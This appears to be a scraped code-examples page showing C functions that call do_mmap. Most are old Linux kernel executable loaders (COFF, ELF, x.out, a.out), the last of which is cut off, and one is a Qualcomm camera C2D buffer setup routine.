Пример #1
0
/*
 * Helper function to process the load operation.
 */
static int
coff_load_object(struct linux_binprm *bprm, struct pt_regs *regs, int binary)
{
	COFF_FILHDR		*coff_hdr = NULL;
	COFF_SCNHDR		*text_sect = NULL, *data_sect = NULL,
				*bss_sect = NULL, *sect_bufr = NULL,
				*sect_ptr = NULL;
	int			text_count = 0, data_count = 0,
				bss_count = 0, lib_count = 0;
	coff_section		text, data, bss;
	u_long			start_addr = 0, p = bprm->p;
	short			flags, aout_size = 0;
	int			pageable = 1, sections = 0, status = 0, i;
	int			coff_exec_fileno;
	mm_segment_t		old_fs;


	coff_hdr = (COFF_FILHDR *)bprm->buf;

	/*
	 * Validate the magic value for the object file.
	 */
	if (COFF_I386BADMAG(*coff_hdr))
		return -ENOEXEC;

	flags = COFF_SHORT(coff_hdr->f_flags);

	/*
	 * The object file should have 32 BIT little endian format. Do not allow
	 * it to have the 16 bit object file flag set as Linux is not able to run
	 * on the 80286/80186/8086.
	 */
	if ((flags & (COFF_F_AR32WR | COFF_F_AR16WR)) != COFF_F_AR32WR)
		return -ENOEXEC;

	/*
	 * If the file is not executable then reject the execution. This means
	 * that there must not be external references.
	 */
	if ((flags & COFF_F_EXEC) == 0)
		return -ENOEXEC;

	/*
	 * Extract the header information which we need.
	 */
	sections = COFF_SHORT(coff_hdr->f_nscns);	/* Number of sections */
	aout_size = COFF_SHORT(coff_hdr->f_opthdr);	/* Size of opt. headr */

	/*
	 * There must be at least one section.
	 */
	if (!sections)
		return -ENOEXEC;

	if (!bprm->file->f_op->mmap)
		pageable = 0;

	if (!(sect_bufr = kmalloc(sections * COFF_SCNHSZ, GFP_KERNEL))) {
		printk(KERN_WARNING "coff: kmalloc failed\n");
		return -ENOMEM;
	}

	status = kernel_read(bprm->file, aout_size + COFF_FILHSZ,
			(char *)sect_bufr, sections * COFF_SCNHSZ);
	if (status < 0) {
		printk(KERN_WARNING "coff: unable to read\n");
		goto out_free_buf;
	}

	status = get_unused_fd();
	if (status < 0) {
		printk(KERN_WARNING "coff: unable to get free fs\n");
		goto out_free_buf;
	}

	get_file(bprm->file);
	fd_install(coff_exec_fileno = status, bprm->file);

	/*
	 *  Loop through the sections and find the various types
	 */
	sect_ptr = sect_bufr;

	for (i = 0; i < sections; i++) {
		long int sect_flags = COFF_LONG(sect_ptr->s_flags);

		switch (sect_flags) {
		case COFF_STYP_TEXT:
			status |= coff_isaligned(sect_ptr);
			text_sect = sect_ptr;
			text_count++;
			break;

		case COFF_STYP_DATA:
			status |= coff_isaligned(sect_ptr);
			data_sect = sect_ptr;
			data_count++;
			break;

		case COFF_STYP_BSS:
			bss_sect = sect_ptr;
			bss_count++;
			break;

		case COFF_STYP_LIB:
			lib_count++;
			break;

		default:
			break;
		}

		sect_ptr = (COFF_SCNHDR *) & ((char *) sect_ptr)[COFF_SCNHSZ];
	}

	/*
	 * If any of the sections weren't properly aligned we aren't
	 * going to be able to demand page this executable. Note that
	 * at this stage the *only* excuse for having status <= 0 is if
	 * the alignment test failed.
	 */
	if (status < 0)
		pageable = 0;

	/*
	 * Ensure that there are the required sections.  There must be one
	 * text sections and one each of the data and bss sections for an
	 * executable.  A library may or may not have a data / bss section.
	 */
	if (text_count != 1) {
		status = -ENOEXEC;
		goto out_free_file;
	}
	if (binary && (data_count != 1 || bss_count != 1)) {
		status = -ENOEXEC;
		goto out_free_file;
	}

	/*
	 * If there is no additional header then assume the file starts
	 * at the first byte of the text section.  This may not be the
	 * proper place, so the best solution is to include the optional
	 * header.  A shared library __MUST__ have an optional header to
	 * indicate that it is a shared library.
	 */
	if (aout_size == 0) {
		if (!binary) {
			status = -ENOEXEC;
			goto out_free_file;
		}
		start_addr = COFF_LONG(text_sect->s_vaddr);
	} else if (aout_size < (short) COFF_AOUTSZ) {
		status = -ENOEXEC;
		goto out_free_file;
	} else {
		COFF_AOUTHDR	*aout_hdr;
		short		aout_magic;

		aout_hdr = (COFF_AOUTHDR *) &((char *)coff_hdr)[COFF_FILHSZ];
		aout_magic = COFF_SHORT(aout_hdr->magic);

		/*
		 * Validate the magic number in the a.out header. If it is valid then
		 * update the starting symbol location. Do not accept these file formats
		 * when loading a shared library.
		 */
		switch (aout_magic) {
		case COFF_OMAGIC:
		case COFF_ZMAGIC:
		case COFF_STMAGIC:
			if (!binary) {
				status = -ENOEXEC;
				goto out_free_file;
			}
			start_addr = (u_int)COFF_LONG(aout_hdr->entry);
			break;
		/*
		 * Magic value for a shared library. This is valid only when
		 * loading a shared library.
		 *
		 * (There is no need for a start_addr. It won't be used.)
		 */
		case COFF_SHMAGIC:
			if (!binary)
				break;
			/* FALLTHROUGH */
		default:
			status = -ENOEXEC;
			goto out_free_file;
		}
	}

	/*
	 *  Generate the proper values for the text fields
	 *
	 *  THIS IS THE POINT OF NO RETURN. THE NEW PROCESS WILL TRAP OUT SHOULD
	 *  SOMETHING FAIL IN THE LOAD SEQUENCE FROM THIS POINT ONWARD.
	 */

	text.scnptr = COFF_LONG(text_sect->s_scnptr);
	text.size = COFF_LONG(text_sect->s_size);
	text.vaddr = COFF_LONG(text_sect->s_vaddr);

	/*
	 *  Generate the proper values for the data fields
	 */

	if (data_sect != NULL) {
		data.scnptr = COFF_LONG(data_sect->s_scnptr);
		data.size = COFF_LONG(data_sect->s_size);
		data.vaddr = COFF_LONG(data_sect->s_vaddr);
	} else {
		data.scnptr = 0;
		data.size = 0;
		data.vaddr = 0;
	}

	/*
	 *  Generate the proper values for the bss fields
	 */

	if (bss_sect != NULL) {
		bss.size = COFF_LONG(bss_sect->s_size);
		bss.vaddr = COFF_LONG(bss_sect->s_vaddr);
	} else {
		bss.size = 0;
		bss.vaddr = 0;
	}

	/*
	 * Flush the executable from memory. At this point the executable is
	 * committed to being defined or a segmentation violation will occur.
	 */

	if (binary) {
		COFF_SCNHDR	*sect_ptr2 = sect_bufr;
		u_long		personality = PER_SVR3;
		int		i;

		if ((status = flush_old_exec(bprm)))
			goto out_free_file;

		/*
		 * Look for clues as to the system this binary was compiled
		 * on in the comments section(s).
		 *
		 * Only look at the main binary, not the shared libraries
		 * (or would it be better to prefer shared libraries over
		 * binaries?  Or could they be different???)
	 	 */
		for (i = 0; i < sections; i++) {
			long	sect_flags = COFF_LONG(sect_ptr2->s_flags);

			if (sect_flags == COFF_STYP_INFO &&
			   (status = coff_parse_comments(bprm->file,
						sect_ptr2, &personality)) > 0)
				goto found;

			sect_ptr2 = (COFF_SCNHDR *) &((char *)sect_ptr2)[COFF_SCNHSZ];
		}

		/*
		 * If no .comments section was found there is no way to
		 * figure out the personality. Odds on it is SCO though...
		 */
		personality = abi_defhandler_coff;

found:
		set_personality(personality);

		current->mm->start_data = 0;
		current->mm->end_data = 0;
		current->mm->end_code = 0;
		current->mm->mmap = NULL;
		current->flags &= ~PF_FORKNOEXEC;
		current->mm->_rss = 0;

		/*
		 * Construct the parameter and environment
		 * string table entries.
		 */
		if ((status = setup_arg_pages(bprm, STACK_TOP, EXSTACK_DEFAULT)) < 0)
			goto sigsegv;

		p = (u_long)coff_mktables((char *)bprm->p,
				bprm->argc, bprm->envc);

		current->mm->end_code = text.size +
		    (current->mm->start_code = text.vaddr);
		current->mm->end_data = data.size +
		    (current->mm->start_data = data.vaddr);
		current->mm->brk = bss.size +
		    (current->mm->start_brk = bss.vaddr);

		current->mm->start_stack = p;
		compute_creds(bprm);
		start_thread(regs, start_addr, p);
	}

	old_fs = get_fs();
	set_fs(get_ds());

	if (!pageable) {
		/*
		 * Read the file from disk...
		 *
		 * XXX: untested.
		 */
		loff_t pos = data.scnptr;
		status = do_brk(text.vaddr, text.size);
		bprm->file->f_op->read(bprm->file,
				(char *)data.vaddr, data.scnptr, &pos);
		status = do_brk(data.vaddr, data.size);
		bprm->file->f_op->read(bprm->file,
				(char *)text.vaddr, text.scnptr, &pos);
		status = 0;
	} else {
		/* map the text pages...*/
		status = map_coff(bprm->file, &text, PROT_READ | PROT_EXEC,
			MAP_FIXED | MAP_PRIVATE | MAP_DENYWRITE | MAP_EXECUTABLE,
			text.scnptr & PAGE_MASK);

		if (status != (text.vaddr & PAGE_MASK)) {
			status = -ENOEXEC;
			goto out_free_file;
		}

		/* map the data pages */
		if (data.size != 0) {
			status = map_coff(bprm->file, &data,
			    PROT_READ | PROT_WRITE | PROT_EXEC,
			    MAP_FIXED | MAP_PRIVATE | MAP_DENYWRITE | MAP_EXECUTABLE,
			    data.scnptr & PAGE_MASK);

			if (status != (data.vaddr & PAGE_MASK)) {
				status = -ENOEXEC;
				goto out_free_file;
			}
		}

		status = 0;
	}

	/*
	 * Construct the bss data for the process. The bss ranges from the
	 * end of the data (which may not be on a page boundary) to the end
	 * of the bss section. Allocate any necessary pages for the data.
	 */
	if (bss.size != 0) {
		down_write(&current->mm->mmap_sem);
		do_mmap(NULL, PAGE_ALIGN(bss.vaddr),
			bss.size + bss.vaddr -
			PAGE_ALIGN(bss.vaddr),
			PROT_READ | PROT_WRITE | PROT_EXEC,
			MAP_FIXED | MAP_PRIVATE, 0);
		up_write(&current->mm->mmap_sem);

		if ((status = coff_clear_memory(bss.vaddr, bss.size)) < 0)
			goto out_free_file;
	}

	set_fs(old_fs);

	if (!binary)
		goto out_free_file;

	/*
	 * Load any shared library for the executable.
	 */
	if (lib_count)
		status = coff_preload_shlibs(bprm, sect_bufr, sections);

	set_binfmt(&coff_format);

	/*
	 * Generate any needed trap for this process. If an error occured then
	 * generate a segmentation violation. If the process is being debugged
	 * then generate the load trap. (Note: If this is a library load then
	 * do not generate the trap here. Pass the error to the caller who
	 * will do it for the process in the outer lay of this procedure call.)
	 */
	if (status < 0) {
sigsegv:
		printk(KERN_WARNING "coff: trapping process with SEGV\n");
		send_sig(SIGSEGV, current, 0);	/* Generate the error trap  */
	} else if (current->ptrace & PT_PTRACED)
		send_sig(SIGTRAP, current, 0);

	/* We are committed. It can't fail */
	status = 0;

out_free_file:
	sys_close(coff_exec_fileno);

out_free_buf:
	kfree(sect_bufr);
	return (status);
}
Пример #2
0
/*===========================================================================
 * FUNCTION    - init_c2d_buffer -
 *
 * DESCRIPTION:  allocate and register C2D buffer with kernel.
 *==========================================================================*/
static int init_c2d_buffer(config_ctrl_t *ctrl, struct msm_pmem_info *info,
  stereo_frame_t* pStereoFrame, int bufPath)
{
  static int prevBufPath = -1;
  uint32_t frame_w = 0, frame_h = 0;
  uint32_t stride = 0;
  uint8_t pad_2K_bool = (ctrl->vfeCtrl.vfeMode == VFE_MODE_SNAPSHOT) ?
    FALSE : TRUE;

  if (prevBufPath == bufPath) {
    CDBG("%s: No need to create new C2D buffer\n", __func__);
    return TRUE;
  } else if (prevBufPath != -1) {
    CDBG("%s: Create new C2D buffer for bufPath = %d\n", __func__, bufPath);
    if (!release_c2d_buffer(ctrl, info))
      CDBG_HIGH("%s: release_c2d_buffer failed\n", __func__);
  }

  if (pStereoFrame->non_zoom_upscale) {
    frame_w = pStereoFrame->right_pack_dim.orig_w;
    frame_h = pStereoFrame->right_pack_dim.orig_h;
  } else {
    frame_w = pStereoFrame->right_pack_dim.modified_w;
    frame_h = pStereoFrame->right_pack_dim.modified_h;
  }

  info->vaddr = (void *)do_mmap(PAD_2_2K(frame_w * frame_h, pad_2K_bool) * 3/2,
    &(info->fd));

  if (!info->vaddr) {
    CDBG_ERROR("%s: mmap failed\n", __func__);
    return FALSE;
  }

  info->type = MSM_PMEM_C2D;
  info->y_off = 0;
  info->offset = 0;
  info->active = 0;
  info->cbcr_off = PAD_2_2K(frame_w * frame_h, pad_2K_bool);
  info->len = PAD_2_2K(frame_w * frame_h, pad_2K_bool);

  if (ioctl(ctrl->camfd, MSM_CAM_IOCTL_REGISTER_PMEM, info) < 0) {
    CDBG_ERROR("%s: ioctl MSM_CAM_IOCTL_REGISTER_PMEM is failed..\n", __func__);
    return FALSE;
  }

  if (!init_kgsl()) {
    CDBG_ERROR("%s: init_kgsl failed\n", __func__);
    return FALSE;
  }

  stride = frame_w;

  c2d_obj.dst_addr.vAddr0 = (uint32_t)info->vaddr;
  c2d_obj.dst_addr.gAddr0 = get_gpu_addr(info->fd,
    PAD_2_2K(frame_w * frame_h, pad_2K_bool) * 3/2, info->offset,
    (uint32_t)info->vaddr);

  c2d_obj.dst_addr.vAddr1 = c2d_obj.dst_addr.vAddr0 +
    PAD_2_2K(frame_w * frame_h, pad_2K_bool);
  c2d_obj.dst_addr.gAddr1 = c2d_obj.dst_addr.gAddr0 +
    PAD_2_2K(frame_w * frame_h, pad_2K_bool);

  cam_list_init(&(g_list.list));
  add_gpu_addr_item(info->fd, c2d_obj.dst_addr.vAddr0, c2d_obj.dst_addr.gAddr0,
    c2d_obj.dst_addr.gAddr0);

  create_default_C2D_surface(&(c2d_obj.srcSurfaceDef), &(c2d_obj.src_id),
    C2D_SOURCE);

  create_default_C2D_surface(&(c2d_obj.dstSurfaceDef), &(c2d_obj.dst_id),
    C2D_TARGET);

  /* C2D destination surface values will not change. */
  update_C2D_surface(&(c2d_obj.dstSurfaceDef), frame_w, frame_h, c2d_obj.dst_id,
    &(c2d_obj.dst_addr), stride, C2D_TARGET, c2d_format);

  prevBufPath = bufPath;

  return TRUE;
} /* init_c2d_buffer */
Пример #3
0
static int load_elf_binary(struct linux_binprm * bprm, struct pt_regs * regs)
{
	struct file *interpreter = NULL; /* to shut gcc up */
 	unsigned long load_addr = 0, load_bias = 0;
	int load_addr_set = 0;
	char * elf_interpreter = NULL;
	unsigned int interpreter_type = INTERPRETER_NONE;
	unsigned char ibcs2_interpreter = 0;
	unsigned long error;
	struct elf_phdr * elf_ppnt, *elf_phdata;
	unsigned long elf_bss, k, elf_brk;
	int elf_exec_fileno;
	int retval, i;
	unsigned int size;
	unsigned long elf_entry, interp_load_addr = 0;
	unsigned long start_code, end_code, start_data, end_data;
	unsigned long reloc_func_desc = 0;
	struct elfhdr elf_ex;
	struct elfhdr interp_elf_ex;
  	struct exec interp_ex;
	char passed_fileno[6];
	struct files_struct *files;
	
	/* Get the exec-header */
	elf_ex = *((struct elfhdr *) bprm->buf);

	retval = -ENOEXEC;
	/* First of all, some simple consistency checks */
	if (memcmp(elf_ex.e_ident, ELFMAG, SELFMAG) != 0)
		goto out;

	if (elf_ex.e_type != ET_EXEC && elf_ex.e_type != ET_DYN)
		goto out;
	if (!elf_check_arch(&elf_ex))
		goto out;
	if (!bprm->file->f_op||!bprm->file->f_op->mmap)
		goto out;

	/* Now read in all of the header information */

	if (elf_ex.e_phentsize != sizeof(struct elf_phdr))
		goto out;
	if (elf_ex.e_phnum < 1 ||
	    elf_ex.e_phnum > 65536U / sizeof(struct elf_phdr))
		goto out;
	size = elf_ex.e_phnum * sizeof(struct elf_phdr);
	retval = -ENOMEM;
	elf_phdata = (struct elf_phdr *) kmalloc(size, GFP_KERNEL);
	if (!elf_phdata)
		goto out;

	retval = kernel_read(bprm->file, elf_ex.e_phoff, (char *) elf_phdata, size);
	if (retval != size) {
		if (retval >= 0)
			retval = -EIO;
		goto out_free_ph;
	}

	files = current->files;		/* Refcounted so ok */
	retval = unshare_files();
	if (retval < 0)
		goto out_free_ph;
	if (files == current->files) {
		put_files_struct(files);
		files = NULL;
	}

	/* exec will make our files private anyway, but for the a.out
	   loader stuff we need to do it earlier */
	   
	retval = get_unused_fd();
	if (retval < 0)
		goto out_free_fh;
	get_file(bprm->file);
	fd_install(elf_exec_fileno = retval, bprm->file);

	elf_ppnt = elf_phdata;
	elf_bss = 0;
	elf_brk = 0;

	start_code = ~0UL;
	end_code = 0;
	start_data = 0;
	end_data = 0;

	for (i = 0; i < elf_ex.e_phnum; i++) {
		if (elf_ppnt->p_type == PT_INTERP) {
			/* This is the program interpreter used for
			 * shared libraries - for now assume that this
			 * is an a.out format binary
			 */

			retval = -ENOEXEC;
			if (elf_ppnt->p_filesz > PATH_MAX || 
			    elf_ppnt->p_filesz < 2)
				goto out_free_file;

			retval = -ENOMEM;
			elf_interpreter = (char *) kmalloc(elf_ppnt->p_filesz,
							   GFP_KERNEL);
			if (!elf_interpreter)
				goto out_free_file;

			retval = kernel_read(bprm->file, elf_ppnt->p_offset,
					   elf_interpreter,
					   elf_ppnt->p_filesz);
			if (retval != elf_ppnt->p_filesz) {
				if (retval >= 0)
					retval = -EIO;
				goto out_free_interp;
			}
			/* make sure path is NULL terminated */
			retval = -ENOEXEC;
			if (elf_interpreter[elf_ppnt->p_filesz - 1] != '\0')
				goto out_free_interp;

			/* If the program interpreter is one of these two,
			 * then assume an iBCS2 image. Otherwise assume
			 * a native linux image.
			 */
			if (strcmp(elf_interpreter,"/usr/lib/libc.so.1") == 0 ||
			    strcmp(elf_interpreter,"/usr/lib/ld.so.1") == 0)
				ibcs2_interpreter = 1;
#if 0
			printk("Using ELF interpreter %s\n", elf_interpreter);
#endif

			SET_PERSONALITY(elf_ex, ibcs2_interpreter);

			interpreter = open_exec(elf_interpreter);
			retval = PTR_ERR(interpreter);
			if (IS_ERR(interpreter))
				goto out_free_interp;
			retval = kernel_read(interpreter, 0, bprm->buf, BINPRM_BUF_SIZE);
			if (retval != BINPRM_BUF_SIZE) {
				if (retval >= 0)
					retval = -EIO;
				goto out_free_dentry;
			}

			/* Get the exec headers */
			interp_ex = *((struct exec *) bprm->buf);
			interp_elf_ex = *((struct elfhdr *) bprm->buf);
			break;
		}
		elf_ppnt++;
	}

	/* Some simple consistency checks for the interpreter */
	if (elf_interpreter) {
		interpreter_type = INTERPRETER_ELF | INTERPRETER_AOUT;

		/* Now figure out which format our binary is */
		if ((N_MAGIC(interp_ex) != OMAGIC) &&
		    (N_MAGIC(interp_ex) != ZMAGIC) &&
		    (N_MAGIC(interp_ex) != QMAGIC))
			interpreter_type = INTERPRETER_ELF;

		if (memcmp(interp_elf_ex.e_ident, ELFMAG, SELFMAG) != 0)
			interpreter_type &= ~INTERPRETER_ELF;

		retval = -ELIBBAD;
		if (!interpreter_type)
			goto out_free_dentry;

		/* Make sure only one type was selected */
		if ((interpreter_type & INTERPRETER_ELF) &&
		     interpreter_type != INTERPRETER_ELF) {
	     		// FIXME - ratelimit this before re-enabling
			// printk(KERN_WARNING "ELF: Ambiguous type, using ELF\n");
			interpreter_type = INTERPRETER_ELF;
		}
		/* Verify the interpreter has a valid arch */
		if ((interpreter_type == INTERPRETER_ELF) &&
		    !elf_check_arch(&interp_elf_ex))
			goto out_free_dentry;
	} else {
		/* Executables without an interpreter also need a personality  */
		SET_PERSONALITY(elf_ex, ibcs2_interpreter);
	}

	/* OK, we are done with that, now set up the arg stuff,
	   and then start this sucker up */

	if (!bprm->sh_bang) {
		char * passed_p;

		if (interpreter_type == INTERPRETER_AOUT) {
		  sprintf(passed_fileno, "%d", elf_exec_fileno);
		  passed_p = passed_fileno;

		  if (elf_interpreter) {
		    retval = copy_strings_kernel(1,&passed_p,bprm);
			if (retval)
				goto out_free_dentry; 
		    bprm->argc++;
		  }
		}
	} else {
		/* Executables without an interpreter also need a personality  */
		SET_PERSONALITY(elf_ex, ibcs2_interpreter);
	}

	/* Flush all traces of the currently running executable */
	retval = flush_old_exec(bprm);
	if (retval)
		goto out_free_dentry;

	/* Discard our unneeded old files struct */
	if (files) {
		steal_locks(files);
		put_files_struct(files);
		files = NULL;
	}

	/* OK, This is the point of no return */
	current->mm->start_data = 0;
	current->mm->end_data = 0;
	current->mm->end_code = 0;
	current->mm->mmap = NULL;
	current->flags &= ~PF_FORKNOEXEC;
	elf_entry = (unsigned long) elf_ex.e_entry;

	/* Do this so that we can load the interpreter, if need be.  We will
	   change some of these later */
	current->mm->rss = 0;
	retval = setup_arg_pages(bprm);
	if (retval < 0) {
		send_sig(SIGKILL, current, 0);
		return retval;
	}
	
	current->mm->start_stack = bprm->p;

	/* Now we do a little grungy work by mmaping the ELF image into
	   the correct location in memory.  At this point, we assume that
	   the image should be loaded at fixed address, not at a variable
	   address. */

	for(i = 0, elf_ppnt = elf_phdata; i < elf_ex.e_phnum; i++, elf_ppnt++) {
		int elf_prot = 0, elf_flags;
		unsigned long vaddr;

		if (elf_ppnt->p_type != PT_LOAD)
			continue;

		if (unlikely (elf_brk > elf_bss)) {
			unsigned long nbyte;
	            
			/* There was a PT_LOAD segment with p_memsz > p_filesz
			   before this one. Map anonymous pages, if needed,
			   and clear the area.  */
			retval = set_brk (elf_bss + load_bias,
					  elf_brk + load_bias);
			if (retval) {
				send_sig(SIGKILL, current, 0);
				goto out_free_dentry;
			}
			nbyte = ELF_PAGEOFFSET(elf_bss);
			if (nbyte) {
				nbyte = ELF_MIN_ALIGN - nbyte;
				if (nbyte > elf_brk - elf_bss)
					nbyte = elf_brk - elf_bss;
				clear_user((void *) elf_bss + load_bias, nbyte);
			}
		}

		if (elf_ppnt->p_flags & PF_R) elf_prot |= PROT_READ;
		if (elf_ppnt->p_flags & PF_W) elf_prot |= PROT_WRITE;
		if (elf_ppnt->p_flags & PF_X) elf_prot |= PROT_EXEC;

		elf_flags = MAP_PRIVATE|MAP_DENYWRITE|MAP_EXECUTABLE;

		vaddr = elf_ppnt->p_vaddr;
		if (elf_ex.e_type == ET_EXEC || load_addr_set) {
			elf_flags |= MAP_FIXED;
		} else if (elf_ex.e_type == ET_DYN) {
			/* Try and get dynamic programs out of the way of the default mmap
			   base, as well as whatever program they might try to exec.  This
		           is because the brk will follow the loader, and is not movable.  */
			load_bias = ELF_PAGESTART(ELF_ET_DYN_BASE - vaddr);
		}

		error = elf_map(bprm->file, load_bias + vaddr, elf_ppnt, elf_prot, elf_flags);
		if (BAD_ADDR(error)) {
			send_sig(SIGKILL, current, 0);
			goto out_free_dentry;
		}

		if (!load_addr_set) {
			load_addr_set = 1;
			load_addr = (elf_ppnt->p_vaddr - elf_ppnt->p_offset);
			if (elf_ex.e_type == ET_DYN) {
				load_bias += error -
				             ELF_PAGESTART(load_bias + vaddr);
				load_addr += load_bias;
				reloc_func_desc = load_addr;
			}
		}
		k = elf_ppnt->p_vaddr;
		if (k < start_code) start_code = k;
		if (start_data < k) start_data = k;

		/*
		 * Check to see if the section's size will overflow the
		 * allowed task size. Note that p_filesz must always be
		 * <= p_memsz so it is only necessary to check p_memsz.
		 */
		if (k > TASK_SIZE || elf_ppnt->p_filesz > elf_ppnt->p_memsz ||
		    elf_ppnt->p_memsz > TASK_SIZE ||
		    TASK_SIZE - elf_ppnt->p_memsz < k) {
			/* set_brk can never work.  Avoid overflows.  */
			send_sig(SIGKILL, current, 0);
			goto out_free_dentry;
		}

		k = elf_ppnt->p_vaddr + elf_ppnt->p_filesz;

		if (k > elf_bss)
			elf_bss = k;
		if ((elf_ppnt->p_flags & PF_X) && end_code <  k)
			end_code = k;
		if (end_data < k)
			end_data = k;
		k = elf_ppnt->p_vaddr + elf_ppnt->p_memsz;
		if (k > elf_brk)
			elf_brk = k;
	}

	elf_entry += load_bias;
	elf_bss += load_bias;
	elf_brk += load_bias;
	start_code += load_bias;
	end_code += load_bias;
	start_data += load_bias;
	end_data += load_bias;

	/* Calling set_brk effectively mmaps the pages that we need
	 * for the bss and break sections.  We must do this before
	 * mapping in the interpreter, to make sure it doesn't wind
	 * up getting placed where the bss needs to go.
	 */
	retval = set_brk(elf_bss, elf_brk);
	if (retval) {
		send_sig(SIGKILL, current, 0);
		goto out_free_dentry;
	}
	padzero(elf_bss);

	if (elf_interpreter) {
		if (interpreter_type == INTERPRETER_AOUT)
			elf_entry = load_aout_interp(&interp_ex,
						     interpreter);
		else
			elf_entry = load_elf_interp(&interp_elf_ex,
						    interpreter,
						    &interp_load_addr);
		if (BAD_ADDR(elf_entry)) {
			printk(KERN_ERR "Unable to load interpreter %.128s\n",
				elf_interpreter);
			force_sig(SIGSEGV, current);
			retval = -ENOEXEC; /* Nobody gets to see this, but.. */
			goto out_free_dentry;
		}
		reloc_func_desc = interp_load_addr;

		allow_write_access(interpreter);
		fput(interpreter);
		kfree(elf_interpreter);
	}

	kfree(elf_phdata);

	if (interpreter_type != INTERPRETER_AOUT)
		sys_close(elf_exec_fileno);

	set_binfmt(&elf_format);

	compute_creds(bprm);
	current->flags &= ~PF_FORKNOEXEC;
	bprm->p = (unsigned long)
	  create_elf_tables((char *)bprm->p,
			bprm->argc,
			bprm->envc,
			&elf_ex,
			load_addr, load_bias,
			interp_load_addr,
			(interpreter_type == INTERPRETER_AOUT ? 0 : 1));
	/* N.B. passed_fileno might not be initialized? */
	if (interpreter_type == INTERPRETER_AOUT)
		current->mm->arg_start += strlen(passed_fileno) + 1;
	current->mm->start_brk = current->mm->brk = elf_brk;
	current->mm->end_code = end_code;
	current->mm->start_code = start_code;
	current->mm->start_data = start_data;
	current->mm->end_data = end_data;
	current->mm->start_stack = bprm->p;

#if 0
	printk("(start_brk) %lx\n" , (long) current->mm->start_brk);
	printk("(end_code) %lx\n" , (long) current->mm->end_code);
	printk("(start_code) %lx\n" , (long) current->mm->start_code);
	printk("(start_data) %lx\n" , (long) current->mm->start_data);
	printk("(end_data) %lx\n" , (long) current->mm->end_data);
	printk("(start_stack) %lx\n" , (long) current->mm->start_stack);
	printk("(brk) %lx\n" , (long) current->mm->brk);
#endif

	if (current->personality & MMAP_PAGE_ZERO) {
		/* Why this, you ask???  Well SVr4 maps page 0 as read-only,
		   and some applications "depend" upon this behavior.
		   Since we do not have the power to recompile these, we
		   emulate the SVr4 behavior.  Sigh.  */
		/* N.B. Shouldn't the size here be PAGE_SIZE?? */
		down_write(&current->mm->mmap_sem);
		error = do_mmap(NULL, 0, 4096, PROT_READ | PROT_EXEC,
				MAP_FIXED | MAP_PRIVATE, 0);
		up_write(&current->mm->mmap_sem);
	}

#ifdef ELF_PLAT_INIT
	/*
	 * The ABI may specify that certain registers be set up in special
	 * ways (on i386 %edx is the address of a DT_FINI function, for
	 * example.  In addition, it may also specify (eg, PowerPC64 ELF)
	 * that the e_entry field is the address of the function descriptor
	 * for the startup routine, rather than the address of the startup
	 * routine itself.  This macro performs whatever initialization to
	 * the regs structure is required as well as any relocations to the
	 * function descriptor entries when executing dynamically linked apps.
	 */
	ELF_PLAT_INIT(regs, reloc_func_desc);
#endif

	start_thread(regs, elf_entry, bprm->p);
	if (current->ptrace & PT_PTRACED)
		send_sig(SIGTRAP, current, 0);
	retval = 0;
out:
	return retval;

	/* error cleanup */
out_free_dentry:
	allow_write_access(interpreter);
	if (interpreter)
		fput(interpreter);
out_free_interp:
	if (elf_interpreter)
		kfree(elf_interpreter);
out_free_file:
	sys_close(elf_exec_fileno);
out_free_fh:
	if (files) {
		put_files_struct(current->files);
		current->files = files;
	}
out_free_ph:
	kfree(elf_phdata);
	goto out;
}
Пример #4
0
static int
xout_amen(struct file *fp, struct xseg *sp, int pageable, u_long *addrp,
		struct xexec *xexec, struct pt_regs *regs, int impure)
{
	u_long			bss_size, bss_base, ce;
	int			err = 0;

	ce = cap_mmap(0);
	cap_mmap(1);

	bss_size = sp->xs_vsize - sp->xs_psize;
	bss_base = sp->xs_rbase + sp->xs_psize;

	/*
	 * If it is a text segment update the code boundary
	 * markers. If it is a data segment update the data
	 * boundary markers.
	 */
	if (sp->xs_type == XS_TTEXT || sp->xs_type == XS_TDATA) {
		if ((sp->xs_rbase + sp->xs_psize) > current->mm->end_code)
			current->mm->end_code = (sp->xs_rbase + sp->xs_psize);
	} 

	if ((sp->xs_rbase + sp->xs_vsize) > current->mm->brk) {
		current->mm->start_brk =
			current->mm->brk = PAGE_ALIGN(sp->xs_rbase + sp->xs_vsize);
	}

	if (!pageable) {
		dprintk(KERN_DEBUG "xout: Null map 0x%08lx, length 0x%08lx\n",
				sp->xs_rbase, sp->xs_vsize);
		down_write(&current->mm->mmap_sem);
		err = do_mmap(NULL, sp->xs_rbase, sp->xs_vsize,
				PROT_READ|PROT_WRITE|PROT_EXEC,
				MAP_FIXED|MAP_PRIVATE|MAP_32BIT, 0);
		up_write(&current->mm->mmap_sem);
		goto out;
	}

	dprintk(KERN_DEBUG "xout: mmap to 0x%08lx from 0x%08lx, length 0x%08lx\n",
			sp->xs_rbase, sp->xs_filpos, sp->xs_psize);
	if (sp->xs_attr & XS_APURE) {
		down_write(&current->mm->mmap_sem);
		err = do_mmap(fp, sp->xs_rbase, sp->xs_psize,
			PROT_READ|PROT_EXEC, MAP_FIXED|MAP_SHARED|MAP_32BIT,
			sp->xs_filpos);
		up_write(&current->mm->mmap_sem);
	} else {
		down_write(&current->mm->mmap_sem);
		err = do_mmap(fp, sp->xs_rbase, sp->xs_psize,
			PROT_READ|PROT_WRITE|PROT_EXEC,
			MAP_FIXED|MAP_PRIVATE | MAP_DENYWRITE | MAP_EXECUTABLE | MAP_32BIT,
			sp->xs_filpos);
		up_write(&current->mm->mmap_sem);
	}

	if (err < 0) goto out;

	/*
	 * Map uninitialised data.
	 */
	if (bss_size) {
		if (bss_base & PAGE_MASK) {
			clear_memory(bss_base, PAGE_ALIGN(bss_base)-bss_base);
			bss_size -= (PAGE_ALIGN(bss_base) - bss_base);
			bss_base = PAGE_ALIGN(bss_base);
		}

		dprintk(KERN_DEBUG "xout: Null map 0x%08lx, length 0x%08lx\n",
				bss_base, bss_size);

		down_write(&current->mm->mmap_sem);
		err = do_mmap(NULL, bss_base, bss_size,
				PROT_READ | PROT_WRITE | PROT_EXEC,
				MAP_FIXED | MAP_PRIVATE | MAP_32BIT, 0);
		up_write(&current->mm->mmap_sem);
	}

out:
	if (!ce) cap_mmap(2);
	return (err);
}
Пример #5
0
static int load_aout32_binary(struct linux_binprm * bprm, struct pt_regs * regs)
{
	struct exec ex;
	unsigned long error;
	unsigned long fd_offset;
	unsigned long rlim;
	unsigned long orig_thr_flags;
	int retval;

	ex = *((struct exec *) bprm->buf);		/* exec-header */
	if ((N_MAGIC(ex) != ZMAGIC && N_MAGIC(ex) != OMAGIC &&
